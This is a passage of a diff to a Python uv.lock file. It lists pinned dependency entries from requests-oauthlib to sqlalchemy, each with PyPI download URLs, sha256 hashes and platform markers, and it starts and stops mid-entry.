name = "requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/f2/05f29bc3913aea15eb670be136045bf5c5bbf4b99ecb839da9b422bb2c85/requests-oauthlib-2.0.0.tar.gz", hash = "sha256:b3dffaebd884d8cd778494369603a9e7b58d29111bf6b41bdc2dcd87203af4e9", size = 55650, upload-time = "2024-03-22T20:32:29.939Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3b/5d/63d4ae3b9daea098d5d6f5da83984853c1bbacd5dc826764b249fe119d24/requests_oauthlib-2.0.0-py2.py3-none-any.whl", hash = "sha256:7dd8a5c40426b779b0868c404bdef9768deccf22749cde15852df527e6269b36", size = 24179, upload-time = "2024-03-22T20:32:28.055Z" }, +] + +[[package]] +name = "requests-toolbelt" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f3/61/d7545dafb7ac2230c70d38d31cbfe4cc64f7144dc41f6e4e4b78ecd9f5bb/requests-toolbelt-1.0.0.tar.gz", hash = "sha256:7681a0a3d047012b5bdc0ee37d7f8f07ebe76ab08caeccfc3921ce23c88d5bc6", size = 206888, upload-time = "2023-05-01T04:11:33.229Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3f/51/d4db610ef29373b879047326cbf6fa98b6c1969d6f6dc423279de2b1be2c/requests_toolbelt-1.0.0-py2.py3-none-any.whl", hash = "sha256:cccfdd665f0a24fcf4726e690f65639d272bb0637b9b92dfd91a5568ccf6bd06", size = 54481, upload-time = "2023-05-01T04:11:28.427Z" }, +] + +[[package]] +name = "responses" +version = "0.25.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyyaml", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "urllib3", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ea/d5/a7300764f8350420815b2c1abf30ebb78a7edd6eea586af784babdc2e9b0/responses-0.25.0.tar.gz", hash = "sha256:01ae6a02b4f34e39bffceb0fc6786b67a25eae919c6368d05eabc8d9576c2a66", size = 77681, upload-time = "2024-02-13T21:15:42.976Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/30/0b/bff1e6a5b646e6ff770deb6a292a96bd844ea13fb523ccbd9209fc4b90b8/responses-0.25.0-py3-none-any.whl", hash = "sha256:2f0b9c2b6437db4b528619a77e5d565e4ec2a9532162ac1a131a83529db7be1a", size = 55196, upload-time = "2024-02-13T21:15:42.978Z" }, +] + +[[package]] +name = "rfc3339-validator" +version = "0.1.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "six", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/28/ea/a9387748e2d111c3c2b275ba970b735e04e15cdb1eb30693b6b5708c4dbd/rfc3339_validator-0.1.4.tar.gz", hash = "sha256:138a2abdf93304ad60530167e51d2dfb9549521a836871b88d7f4695d0022f6b", size = 5513, upload-time = "2021-05-12T16:37:54.178Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7b/44/4e421b96b67b2daff264473f7465db72fbdf36a07e05494f50300cc7b0c6/rfc3339_validator-0.1.4-py2.py3-none-any.whl", hash = "sha256:24f6ec1eda14ef823da9e36ec7113124b39c04d50a4d3d3a3c2859577e7791fa", size = 3490, upload-time = "2021-05-12T16:37:52.536Z" }, +] + +[[package]] +name = "rich" +version = "13.7.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown-it-py", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pygments", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b3/01/c954e134dc440ab5f96952fe52b4fdc64225530320a910473c1fe270d9aa/rich-13.7.1.tar.gz", hash = "sha256:9be308cb1fe2f1f57d67ce99e95af38a1e2bc71ad9813b0e247cf7ffbcc3a432", size = 221248, upload-time = "2024-02-28T14:51:19.472Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/87/67/a37f6214d0e9fe57f6ae54b2956d550ca8365857f42a1ce0392bb21d9410/rich-13.7.1-py3-none-any.whl", hash = "sha256:4edbae314f59eb482f54e9e30bf00d33350aaa94f4bfcd4e9e3110e64d0d7222", size = 240681, upload-time = "2024-02-28T14:51:14.353Z" }, +] + +[[package]] +name = "rpds-py" +version = "0.30.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/20/af/3f2f423103f1113b36230496629986e0ef7e199d2aa8392452b484b38ced/rpds_py-0.30.0.tar.gz", hash = "sha256:dd8ff7cf90014af0c0f787eea34794ebf6415242ee1d6fa91eaba725cc441e84", size = 69469, upload-time = "2025-11-30T20:24:38.837Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4d/6e/f964e88b3d2abee2a82c1ac8366da848fce1c6d834dc2132c3fda3970290/rpds_py-0.30.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a2bffea6a4ca9f01b3f8e548302470306689684e61602aa3d141e34da06cf425", size = 370157, upload-time = "2025-11-30T20:21:53.789Z" }, + { url = "https://files.pythonhosted.org/packages/94/ba/24e5ebb7c1c82e74c4e4f33b2112a5573ddc703915b13a073737b59b86e0/rpds_py-0.30.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:dc4f992dfe1e2bc3ebc7444f6c7051b4bc13cd8e33e43511e8ffd13bf407010d", size = 359676, upload-time = "2025-11-30T20:21:55.475Z" }, + { url = "https://files.pythonhosted.org/packages/84/86/04dbba1b087227747d64d80c3b74df946b986c57af0a9f0c98726d4d7a3b/rpds_py-0.30.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:422c3cb9856d80b09d30d2eb255d0754b23e090034e1deb4083f8004bd0761e4", size = 389938, upload-time = "2025-11-30T20:21:57.079Z" }, + { url = "https://files.pythonhosted.org/packages/42/bb/1463f0b1722b7f45431bdd468301991d1328b16cffe0b1c2918eba2c4eee/rpds_py-0.30.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:07ae8a593e1c3c6b82ca3292efbe73c30b61332fd612e05abee07c79359f292f", size = 402932, upload-time = "2025-11-30T20:21:58.47Z" }, + { url = "https://files.pythonhosted.org/packages/99/ee/2520700a5c1f2d76631f948b0736cdf9b0acb25abd0ca8e889b5c62ac2e3/rpds_py-0.30.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:12f90dd7557b6bd57f40abe7747e81e0c0b119bef015ea7726e69fe550e394a4", size = 525830, upload-time = "2025-11-30T20:21:59.699Z" }, + { url = "https://files.pythonhosted.org/packages/e0/ad/bd0331f740f5705cc555a5e17fdf334671262160270962e69a2bdef3bf76/rpds_py-0.30.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:99b47d6ad9a6da00bec6aabe5a6279ecd3c06a329d4aa4771034a21e335c3a97", size = 412033, upload-time = "2025-11-30T20:22:00.991Z" }, + { url = "https://files.pythonhosted.org/packages/f8/1e/372195d326549bb51f0ba0f2ecb9874579906b97e08880e7a65c3bef1a99/rpds_py-0.30.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:33f559f3104504506a44bb666b93a33f5d33133765b0c216a5bf2f1e1503af89", size = 390828, upload-time = "2025-11-30T20:22:02.723Z" }, + { url = "https://files.pythonhosted.org/packages/ab/2b/d88bb33294e3e0c76bc8f351a3721212713629ffca1700fa94979cb3eae8/rpds_py-0.30.0-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:946fe926af6e44f3697abbc305ea168c2c31d3e3ef1058cf68f379bf0335a78d", size = 404683, upload-time = "2025-11-30T20:22:04.367Z" }, + { url = "https://files.pythonhosted.org/packages/50/32/c759a8d42bcb5289c1fac697cd92f6fe01a018dd937e62ae77e0e7f15702/rpds_py-0.30.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:495aeca4b93d465efde585977365187149e75383ad2684f81519f504f5c13038", size = 421583, upload-time = "2025-11-30T20:22:05.814Z" }, + { url = "https://files.pythonhosted.org/packages/2b/81/e729761dbd55ddf5d84ec4ff1f47857f4374b0f19bdabfcf929164da3e24/rpds_py-0.30.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9a0ca5da0386dee0655b4ccdf46119df60e0f10da268d04fe7cc87886872ba7", size = 572496, upload-time = "2025-11-30T20:22:07.713Z" }, + { url = "https://files.pythonhosted.org/packages/14/f6/69066a924c3557c9c30baa6ec3a0aa07526305684c6f86c696b08860726c/rpds_py-0.30.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:8d6d1cc13664ec13c1b84241204ff3b12f9bb82464b8ad6e7a5d3486975c2eed", size = 598669, upload-time = "2025-11-30T20:22:09.312Z" }, + { url = "https://files.pythonhosted.org/packages/5f/48/905896b1eb8a05630d20333d1d8ffd162394127b74ce0b0784ae04498d32/rpds_py-0.30.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:3896fa1be39912cf0757753826bc8bdc8ca331a28a7c4ae46b7a21280b06bb85", size = 561011, upload-time = "2025-11-30T20:22:11.309Z" }, + { url = "https://files.pythonhosted.org/packages/69/71/3f34339ee70521864411f8b6992e7ab13ac30d8e4e3309e07c7361767d91/rpds_py-0.30.0-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:c2262bdba0ad4fc6fb5545660673925c2d2a5d9e2e0fb603aad545427be0fc58", size = 372292, upload-time = "2025-11-30T20:24:16.537Z" }, + { url = "https://files.pythonhosted.org/packages/57/09/f183df9b8f2d66720d2ef71075c59f7e1b336bec7ee4c48f0a2b06857653/rpds_py-0.30.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ee6af14263f25eedc3bb918a3c04245106a42dfd4f5c2285ea6f997b1fc3f89a", size = 362128, upload-time = "2025-11-30T20:24:18.086Z" }, + { url = "https://files.pythonhosted.org/packages/7a/68/5c2594e937253457342e078f0cc1ded3dd7b2ad59afdbf2d354869110a02/rpds_py-0.30.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3adbb8179ce342d235c31ab8ec511e66c73faa27a47e076ccc92421add53e2bb", size = 391542, upload-time = "2025-11-30T20:24:20.092Z" }, + { url = "https://files.pythonhosted.org/packages/49/5c/31ef1afd70b4b4fbdb2800249f34c57c64beb687495b10aec0365f53dfc4/rpds_py-0.30.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:250fa00e9543ac9b97ac258bd37367ff5256666122c2d0f2bc97577c60a1818c", size = 404004, upload-time = "2025-11-30T20:24:22.231Z" }, + { url = "https://files.pythonhosted.org/packages/e3/63/0cfbea38d05756f3440ce6534d51a491d26176ac045e2707adc99bb6e60a/rpds_py-0.30.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9854cf4f488b3d57b9aaeb105f06d78e5529d3145b1e4a41750167e8c213c6d3", size = 527063, upload-time = "2025-11-30T20:24:24.302Z" }, + { url = "https://files.pythonhosted.org/packages/42/e6/01e1f72a2456678b0f618fc9a1a13f882061690893c192fcad9f2926553a/rpds_py-0.30.0-pp311-pypy311_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:993914b8e560023bc0a8bf742c5f303551992dcb85e247b1e5c7f4a7d145bda5", size = 413099, upload-time = "2025-11-30T20:24:25.916Z" }, + { url = "https://files.pythonhosted.org/packages/b8/25/8df56677f209003dcbb180765520c544525e3ef21ea72279c98b9aa7c7fb/rpds_py-0.30.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58edca431fb9b29950807e301826586e5bbf24163677732429770a697ffe6738", size = 392177, upload-time = "2025-11-30T20:24:27.834Z" }, + { url = "https://files.pythonhosted.org/packages/4a/b4/0a771378c5f16f8115f796d1f437950158679bcd2a7c68cf251cfb00ed5b/rpds_py-0.30.0-pp311-pypy311_pp73-manylinux_2_31_riscv64.whl", hash = "sha256:dea5b552272a944763b34394d04577cf0f9bd013207bc32323b5a89a53cf9c2f", size = 406015, upload-time = "2025-11-30T20:24:29.457Z" }, + { url = "https://files.pythonhosted.org/packages/36/d8/456dbba0af75049dc6f63ff295a2f92766b9d521fa00de67a2bd6427d57a/rpds_py-0.30.0-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ba3af48635eb83d03f6c9735dfb21785303e73d22ad03d489e88adae6eab8877", size = 423736, upload-time = "2025-11-30T20:24:31.22Z" }, + { url = "https://files.pythonhosted.org/packages/13/64/b4d76f227d5c45a7e0b796c674fd81b0a6c4fbd48dc29271857d8219571c/rpds_py-0.30.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:dff13836529b921e22f15cb099751209a60009731a68519630a24d61f0b1b30a", size = 573981, upload-time = "2025-11-30T20:24:32.934Z" }, + { url = "https://files.pythonhosted.org/packages/20/91/092bacadeda3edf92bf743cc96a7be133e13a39cdbfd7b5082e7ab638406/rpds_py-0.30.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:1b151685b23929ab7beec71080a8889d4d6d9fa9a983d213f07121205d48e2c4", size = 599782, upload-time = "2025-11-30T20:24:35.169Z" }, + { url = "https://files.pythonhosted.org/packages/d1/b7/b95708304cd49b7b6f82fdd039f1748b66ec2b21d6a45180910802f1abf1/rpds_py-0.30.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:ac37f9f516c51e5753f27dfdef11a88330f04de2d564be3991384b2f3535d02e", size = 562191, upload-time = "2025-11-30T20:24:36.853Z" }, +] + +[[package]] +name = "rsa" +version = "4.9.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyasn1", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/da/8a/22b7beea3ee0d44b1916c0c1cb0ee3af23b700b6da9f04991899d0c555d4/rsa-4.9.1.tar.gz", hash = "sha256:e7bdbfdb5497da4c07dfd35530e1a902659db6ff241e39d9953cad06ebd0ae75", size = 29034, upload-time = "2025-04-16T09:51:18.218Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/64/8d/0133e4eb4beed9e425d9a98ed6e081a55d195481b7632472be1af08d2f6b/rsa-4.9.1-py3-none-any.whl", hash = "sha256:68635866661c6836b8d39430f97a996acbd61bfa49406748ea243539fe239762", size = 34696, upload-time = "2025-04-16T09:51:17.142Z" }, +] + +[[package]] +name = "rust-just" +version = "1.43.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/83/60/f3c0d2c557f89d607fef543e64f7088056484cc0ea0b4e9681b217da72e8/rust_just-1.43.1.tar.gz", hash = "sha256:dc7ab2efd8259cdcd80eff1514f7e859772bfafb21842effff870dbed2107663", size = 1428118, upload-time = "2025-11-19T07:49:20.097Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a8/24/c5b87694c7d33848f820f016c3dd5aed6150d946d60a6e606a0e5165a084/rust_just-1.43.1-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:6fe8204a2c230abd2b3b946b3246e1f9ed80ee40de16473ede5ebdf0ded9454a", size = 1678997, upload-time = "2025-11-19T07:48:42.187Z" }, + { url = "https://files.pythonhosted.org/packages/23/b2/45c6925f7851c65436d5b8a75bc378921624a550d4ce296a1723a1b3f369/rust_just-1.43.1-py3-none-macosx_11_0_arm64.whl", hash = "sha256:04f8bd5fabcdebe8bf03d93b12352ab54ae3d831d317240be5cca7272173151d", size = 1561329, upload-time = "2025-11-19T07:48:45.23Z" }, + { url = "https://files.pythonhosted.org/packages/9f/a8/11f1418448d579c2e5fb99d7f26b15120292bd5032a3f091da8757e09cb6/rust_just-1.43.1-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:92781d23ce0e5d5815a0e43af97e44ce52d0ca2817c3e0bf4824795bc8db7516", size = 1645638, upload-time = "2025-11-19T07:48:47.854Z" }, + { url = "https://files.pythonhosted.org/packages/86/fd/5b3098d3dd442f21a25b51c9a94e82d2602a62f1d3f09c2587e5f2583f3c/rust_just-1.43.1-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:cde7c8cc0b77bd7c41c24587532b7dad1a44caa396aa2766abbcf5a424a1ac5c", size = 1616029, upload-time = "2025-11-19T07:48:50.622Z" }, + { url = "https://files.pythonhosted.org/packages/8a/c9/7dfec9cc246d9c94f14bdbd477650c5dbe5b9a71a2891e0c6c70b1e97c04/rust_just-1.43.1-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5019283f827947b5ad8cf9947553595a1810474c56a4d15e9987d33bb05ae4c3", size = 1787480, upload-time = "2025-11-19T07:48:53.118Z" }, + { url = "https://files.pythonhosted.org/packages/e2/a5/96167b70fccc7d345309edb3971a40131dd2aca130c107a849572704b742/rust_just-1.43.1-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c703f8383f6fc535a164f2cb3122ffa6e9c6c5d4b89c355f032e15623b344205", size = 1863173, upload-time = "2025-11-19T07:48:55.715Z" }, + { url = "https://files.pythonhosted.org/packages/eb/5e/05f537cba29a595748273f30cf3dc8757f633f25dd45464a6caca458c2f2/rust_just-1.43.1-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:478c90550ac0a287ac76e05381f57b41eedbe53956b227f176a76e5074e5aceb", size = 1855852, upload-time = "2025-11-19T07:48:58.483Z" }, + { url = "https://files.pythonhosted.org/packages/33/cc/77639b3a75edd92ea48ac1626c8b45d40ba0f2f498aad319747ad4a71c46/rust_just-1.43.1-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:31e0e695d215382bbc23f06e7ee0df138712bcce238dc027543e26173a23df31", size = 1771522, upload-time = "2025-11-19T07:49:01.28Z" }, + { url = "https://files.pythonhosted.org/packages/c6/72/a3778b9b3ee34e11c3a83df1e8ce862262158a6219efe514458cf9f1342e/rust_just-1.43.1-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:0c75cd479dc624cee83db8765a453f4ff174c71d71a90c723ba076d998d9834e", size = 1659934, upload-time = "2025-11-19T07:49:03.925Z" }, + { url = "https://files.pythonhosted.org/packages/a2/1c/6fec8e79007620137d33c5dcda463713a73338b02c5cfe15cc5e9d8a47b2/rust_just-1.43.1-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:f9665c00a3bb852aed1f3966ccfe50799c1db9b17841566db7fc1f99e5bbf4cd", size = 1636577, upload-time = "2025-11-19T07:49:06.706Z" }, + { url = "https://files.pythonhosted.org/packages/1c/5b/f40f6baa92014a039e75df14512505cebbeaf9df79c7305e4e8d2d21b26f/rust_just-1.43.1-py3-none-musllinux_1_2_i686.whl", hash = "sha256:a1dbd5b1634d40ccdfe493edd2d620a6bffbe85e410ddd2acdd929789bcde1fe", size = 1781292, upload-time = "2025-11-19T07:49:09.218Z" }, + { url = "https://files.pythonhosted.org/packages/a3/ab/7374bf4300b00fac5934e34c483a08ff2fdf7e99ce1146140e2e2e64ff05/rust_just-1.43.1-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:89ba22d438cad2356f80f45c670d794537ef59631c09dfd4938bf5cc3440975b", size = 1838422, upload-time = "2025-11-19T07:49:12.048Z" }, +] + +[[package]] +name = "s3transfer" +version = "0.14.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "botocore", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/62/74/8d69dcb7a9efe8baa2046891735e5dfe433ad558ae23d9e3c14c633d1d58/s3transfer-0.14.0.tar.gz", hash = "sha256:eff12264e7c8b4985074ccce27a3b38a485bb7f7422cc8046fee9be4983e4125", size = 151547, upload-time = "2025-09-09T19:23:31.089Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/48/f0/ae7ca09223a81a1d890b2557186ea015f6e0502e9b8cb8e1813f1d8cfa4e/s3transfer-0.14.0-py3-none-any.whl", hash = "sha256:ea3b790c7077558ed1f02a3072fb3cb992bbbd253392f4b6e9e8976941c7d456", size = 85712, upload-time = "2025-09-09T19:23:30.041Z" }, +] + +[[package]] +name = "sentry-sdk" +version = "2.29.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "urllib3", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/22/67/d552a5f8e5a6a56b2feea6529e2d8ccd54349084c84176d5a1f7295044bc/sentry_sdk-2.29.1.tar.gz", hash = "sha256:8d4a0206b95fa5fe85e5e7517ed662e3888374bdc342c00e435e10e6d831aa6d", size = 325518, upload-time = "2025-05-19T14:27:38.512Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f0/e5/da07b0bd832cefd52d16f2b9bbbe31624d57552602c06631686b93ccb1bd/sentry_sdk-2.29.1-py2.py3-none-any.whl", hash = "sha256:90862fe0616ded4572da6c9dadb363121a1ae49a49e21c418f0634e9d10b4c19", size = 341553, upload-time = "2025-05-19T14:27:36.882Z" }, +] + +[[package]] +name = "service-identity" +version = "24.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "attrs", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "cryptography", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyasn1", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyasn1-modules", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/38/d2/2ac20fd05f1b6fce31986536da4caeac51ed2e1bb25d4a7d73ca4eccdfab/service_identity-24.1.0.tar.gz", hash = "sha256:6829c9d62fb832c2e1c435629b0a8c476e1929881f28bee4d20bc24161009221", size = 40183, upload-time = "2024-01-14T07:11:42.465Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3b/92/44669afe6354a7bed9968013862118c401690d8b5a805bab75ac1764845f/service_identity-24.1.0-py3-none-any.whl", hash = "sha256:a28caf8130c8a5c1c7a6f5293faaf239bbfb7751e4862436920ee6f2616f568a", size = 12037, upload-time = "2024-01-14T07:11:40.726Z" }, +] + +[[package]] +name = "six" +version = "1.17.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" }, +] + +[[package]] +name = "sniffio" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a2/87/a6771e1546d97e7e041b6ae58d80074f81b7d5121207425c964ddf5cfdbd/sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc", size = 20372, upload-time = "2024-02-25T23:20:04.057Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e9/44/75a9c9421471a6c4805dbf2356f7c181a29c1879239abab1ea2cc8f38b40/sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2", size = 10235, upload-time = "2024-02-25T23:20:01.196Z" }, +] + +[[package]] +name = "snoop" +version = "0.4.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "asttokens", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "cheap-repr", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "executing", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pygments", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "six", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/33/c1/c93715f44b16ad7ec52a7b48ae26bdc1880c0192d6075ba3a097e7b04f3e/snoop-0.4.3.tar.gz", hash = "sha256:2e0930bb19ff0dbdaa6f5933f88e89ed5984210ea9f9de0e1d8231fa5c1c1f25", size = 139747, upload-time = "2022-12-22T13:50:40.01Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/b4/5eb395a7c44f382f42cc4ce2d544223c0506e06c61534f45a2188b8fdf13/snoop-0.4.3-py2.py3-none-any.whl", hash = "sha256:b7418581889ff78b29d9dc5ad4625c4c475c74755fb5cba82c693c6e32afadc0", size = 27841, upload-time = "2022-12-22T13:50:37.366Z" }, +] + +[[package]] +name = "sortedcontainers" +version = "2.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e8/c4/ba2f8066cceb6f23394729afe52f3bf7adec04bf9ed2c820b39e19299111/sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88", size = 30594, upload-time = "2021-05-16T22:03:42.897Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0", size = 29575, upload-time = "2021-05-16T22:03:41.177Z" }, +] + +[[package]] +name = "sqlalchemy" +version = "2.0.44" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "greenlet", marker = "(platform_machine == 'AMD64' and sys_platform == 'darwin') or (platform_machine == 'WIN32' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'darwin') or (platform_machine == 'amd64' and sys_platform == 'darwin') or (platform_machine == 'ppc64le' and sys_platform == 'darwin') or (platform_machine == 'win32' and sys_platform == 'darwin') or (platform_machine == 'x86_64' and sys_platform == 'darwin') or (platform_machine == 'AMD64' and sys_platform == 'linux') or (platform_machine == 'WIN32' and sys_platform == 'linux') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'amd64' and sys_platform == 'linux') or (platform_machine == 'ppc64le' and sys_platform == 'linux') or (platform_machine == 'win32' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f0/f2/840d7b9496825333f532d2e3976b8eadbf52034178aac53630d09fe6e1ef/sqlalchemy-2.0.44.tar.gz", hash = "sha256:0ae7454e1ab1d780aee69fd2aae7d6b8670a581d8847f2d1e0f7ddfbf47e5a22", size = 9819830, upload-time = "2025-10-10T14:39:12.935Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e3/81/15d7c161c9ddf0900b076b55345872ed04ff1ed6a0666e5e94ab44b0163c/sqlalchemy-2.0.44-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0fe3917059c7ab2ee3f35e77757062b1bea10a0b6ca633c58391e3f3c6c488dd", size = 2140517, upload-time = "2025-10-10T15:36:15.64Z" }, + { url = "https://files.pythonhosted.org/packages/d4/d5/4abd13b245c7d91bdf131d4916fd9e96a584dac74215f8b5bc945206a974/sqlalchemy-2.0.44-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:de4387a354ff230bc979b46b2207af841dc8bf29847b6c7dbe60af186d97aefa", size = 2130738, upload-time = "2025-10-10T15:36:16.91Z" }, + { url = "https://files.pythonhosted.org/packages/cb/3c/8418969879c26522019c1025171cefbb2a8586b6789ea13254ac602986c0/sqlalchemy-2.0.44-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c3678a0fb72c8a6a29422b2732fe423db3ce119c34421b5f9955873eb9b62c1e", size = 3304145, upload-time = "2025-10-10T15:34:19.569Z" }, + { url = "https://files.pythonhosted.org/packages/94/2d/fdb9246d9d32518bda5d90f4b65030b9bf403a935cfe4c36a474846517cb/sqlalchemy-2.0.44-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3cf6872a23601672d61a68f390e44703442639a12ee9dd5a88bbce52a695e46e", size = 3304511, upload-time = "2025-10-10T15:47:05.088Z" }, + { url = "https://files.pythonhosted.org/packages/7d/fb/40f2ad1da97d5c83f6c1269664678293d3fe28e90ad17a1093b735420549/sqlalchemy-2.0.44-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:329aa42d1be9929603f406186630135be1e7a42569540577ba2c69952b7cf399", size = 3235161, upload-time = 